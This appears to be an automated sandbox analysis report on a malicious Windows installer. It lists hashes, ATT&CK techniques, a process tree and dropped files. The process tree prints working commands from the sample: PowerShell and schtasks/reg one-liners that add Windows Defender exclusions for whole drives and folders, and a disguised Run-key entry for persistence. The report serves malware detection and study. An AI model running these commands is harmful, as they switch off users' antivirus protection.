259633f745cf14c278801257f9f1d49adb6a0e6839d5c009f363b9c0b1de1896

Analysis

max time kernel
144s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/08/2026, 22:25

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General

Target
setup_a9.0.09.exe
Size 31.2MB
Sample260830-2cefkattct
SHA256 259633f745cf14c278801257f9f1d49adb6a0e6839d5c009f363b9c0b1de1896
MD5 a669f92e8933d81ba72cb4c1dbb20bb8
SHA1 41c81db3bf3df73fc9520b67856e48c27b1ca2ca
SHA512 6883583f351b55ae41d91649a4ac0649225834ac7c1450cfa9126f10f15956f625b600c53621b3fb73af0ec1d29230f887fca94f4d7dc7f460dbd978a738f756
SSDEEP 98304:Xi9U9dbM4EJ3yZLxG8caZfnjIhKnp5l6t4l8xMv4cF:S2vbMxJ35aZfnOElY4lzn
TLSH
T14E776012B346898BE476A278484B8F94E321EDB19AB1937773B4731E1FFE34C5E96104
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3908	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2020	rAyWPa.exe
5168	rAyWPa.exe

Loads dropped DLL 2 IoCs

pid	Process
2020	rAyWPa.exe
5168	rAyWPa.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\axVVkH\\rAyWPa.exe\""	rAyWPa.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1076	cmd.exe
2068	cmd.exe
4392	cmd.exe
1332	cmd.exe
1620	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	rAyWPa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1412	cmd.exe
924	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4900	schtasks.exe
4664	schtasks.exe
1312	schtasks.exe
368	schtasks.exe
4048	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2884	setup_a9.0.09.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe
2020	rAyWPa.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2020 wrote to memory of 3908	2020	rAyWPa.exe	91
PID 2020 wrote to memory of 4392	2020	rAyWPa.exe	93
PID 4392 wrote to memory of 4900	4392	cmd.exe	96
PID 2020 wrote to memory of 1332	2020	rAyWPa.exe	97
PID 4392 wrote to memory of 4720	4392	cmd.exe	100
PID 1332 wrote to memory of 4664	1332	cmd.exe	101
PID 2020 wrote to memory of 1620	2020	rAyWPa.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\setup_a9.0.09.exe
"C:\Users\Admin\AppData\Local\Temp\setup_a9.0.09.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2884

C:\Users\Public\axVVkH\rAyWPa.exe
"C:\Users\Public\axVVkH\rAyWPa.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\axVVkH\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4392
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\axVVkH\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4900
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4720
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1332
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4664
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5656
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:1620
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1312
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5640
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:1076
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:368
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4240
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:2068
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4048
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3004
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4232

C:\Users\Public\axVVkH\rAyWPa.exe
"C:\Users\Public\axVVkH\rAyWPa.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5168

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\axVVkH" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1412
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\axVVkH" /t REG_DWORD /d 0 /f
  2⤵
  PID:3532

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2852

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:924
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  PID:428

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

UxEnhance64.dll

Path C:\Users\Public\axVVkH\UxEnhance64.dll
Size 3.1MB
SHA256 f05a490ab8275cb633b9c303bcee55b2947b16d614abd69a5b030ac9b535f3a1
MD5 3cfdc37c8b2681ae0c1a5a9d8d8f87df
SHA1 6e422ac64e1f8e3b94bc0137cd380d5458069000
SHA512 7ceeed899bb409b57e6db511dc3b6277d50ac33786d4ff6fdedb837276b3c66cdc49a9cc60c2a26ea67f09614268cc621b851a52546d90a071fe5a984492de2b
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+D:P9m29xx3Tiqt06ox6+z2rNNrKoD
TLSH
T185E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\axVVkH\adoresd.dat
Size 4.7MB
SHA256 e9f7963b03a1ba2dcdf18b6228a050912cc41908ceb1bfc6bd099325f6cdc89f
MD5 743451f496935366de514b581a02f596
SHA1 436ff1e9052ec99f11a0535c31bcabe001c58226
SHA512 55e5156185778dced58a1b3d8e5baf3d479b344c6a22d3d7e01d855827b0ccffb190208f4d9a4ae9e03c643fd4c67a589ffb3915bfac0f5f2618c6023890390c
SSDEEP 98304:hKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:hKClqhi0Cv54K2IVS0VQg
TLSH
T1133633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\axVVkH\msadox.tb
Size 8KB
SHA256 c6274a07a51091ff4fc3b26c668edca097c8c30ad601c96fdbc18c769674fdc8
MD5 2b8b97d12d2483c4a9ff7f7d8e7a4afc
SHA1 85ae5a41afdb260af290a588a37760a9264083b0
SHA512 a320e96270cfd1d8d90b727af66658f9ac223a2ad61e7e208e5182737f47505471bf251fe8c40564717b52f1307e2a1aad75150aeb494c6fd24e03f29ddb96f4
SSDEEP 192:PqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:PsZqZOXQ3uqvR2Kfzp
TLSH
T164029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C1670B2ED2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rAyWPa.exe

Path C:\Users\Public\axVVkH\rAyWPa.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2020-556-0x000001917AEB0000-0x000001917AEFE000-memory.dmp

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memory/2020-559-0x000001917AF90000-0x000001917B01A000-memory.dmp

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memory/2020-600-0x000001917B9D0000-0x000001917C257000-memory.dmp

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memory/2020-567-0x000001917B9D0000-0x000001917C257000-memory.dmp

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memory/2020-530-0x00007FFEDA770000-0x00007FFEDA772000-memory.dmp

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memory/2020-531-0x00007FFEB7B20000-0x00007FFEB803E000-memory.dmp

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memory/2020-566-0x000001917B9D0000-0x000001917C257000-memory.dmp

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memory/2020-564-0x000001917B9D0000-0x000001917C257000-memory.dmp

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memory/2020-536-0x000001917B9D0000-0x000001917C257000-memory.dmp

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memory/2020-557-0x000001917AF90000-0x000001917B01A000-memory.dmp

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memory/2020-543-0x000001917B9D0000-0x000001917C257000-memory.dmp

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memory/2020-538-0x00007FFEDA780000-0x00007FFEDA782000-memory.dmp

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memory/2020-545-0x000001917B9D0000-0x000001917C257000-memory.dmp

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memory/2020-544-0x000001917B9D0000-0x000001917C257000-memory.dmp

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memory/2020-546-0x000001917B9D0000-0x000001917C257000-memory.dmp

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memory/2020-550-0x000001917B9D0000-0x000001917C257000-memory.dmp

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memory/2020-539-0x000001917B9D0000-0x000001917C257000-memory.dmp

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memory/2020-558-0x000001917AF90000-0x000001917B01A000-memory.dmp

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memory/2020-560-0x000001917AF90000-0x000001917B01A000-memory.dmp

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memory/2884-525-0x00007FFED1D30000-0x00007FFED1D42000-memory.dmp

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memory/2884-2-0x00000000007C0000-0x00000000007CC000-memory.dmp

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memory/2884-1-0x00000000007B0000-0x00000000007BE000-memory.dmp

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memory/2884-504-0x00007FFED1D30000-0x00007FFED1D42000-memory.dmp

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memory/2884-0-0x00000000007B0000-0x00000000007BE000-memory.dmp

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memory/2884-524-0x00000000007B0000-0x00000000007BE000-memory.dmp

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memory/3908-608-0x000001A569100000-0x000001A56910A000-memory.dmp

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memory/3908-607-0x000001A569360000-0x000001A569412000-memory.dmp

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memory/3908-606-0x000001A5690E0000-0x000001A5690FE000-memory.dmp

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memory/3908-603-0x000001A569080000-0x000001A5690A2000-memory.dmp

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memory/5168-587-0x00007FFEDA770000-0x00007FFEDA772000-memory.dmp

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memory/5168-583-0x00000200AE4B0000-0x00000200AED37000-memory.dmp

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memory/5168-586-0x00000200AE4B0000-0x00000200AED37000-memory.dmp

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memory/5168-584-0x00000200AE4B0000-0x00000200AED37000-memory.dmp

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memory/5168-578-0x00007FFEDA780000-0x00007FFEDA782000-memory.dmp

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memory/5168-579-0x00000200AE4B0000-0x00000200AED37000-memory.dmp

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memory/5168-576-0x00000200AE4B0000-0x00000200AED37000-memory.dmp

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memory/5168-572-0x00007FFEB7B20000-0x00007FFEB803E000-memory.dmp

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memory/5168-585-0x00000200AE4B0000-0x00000200AED37000-memory.dmp

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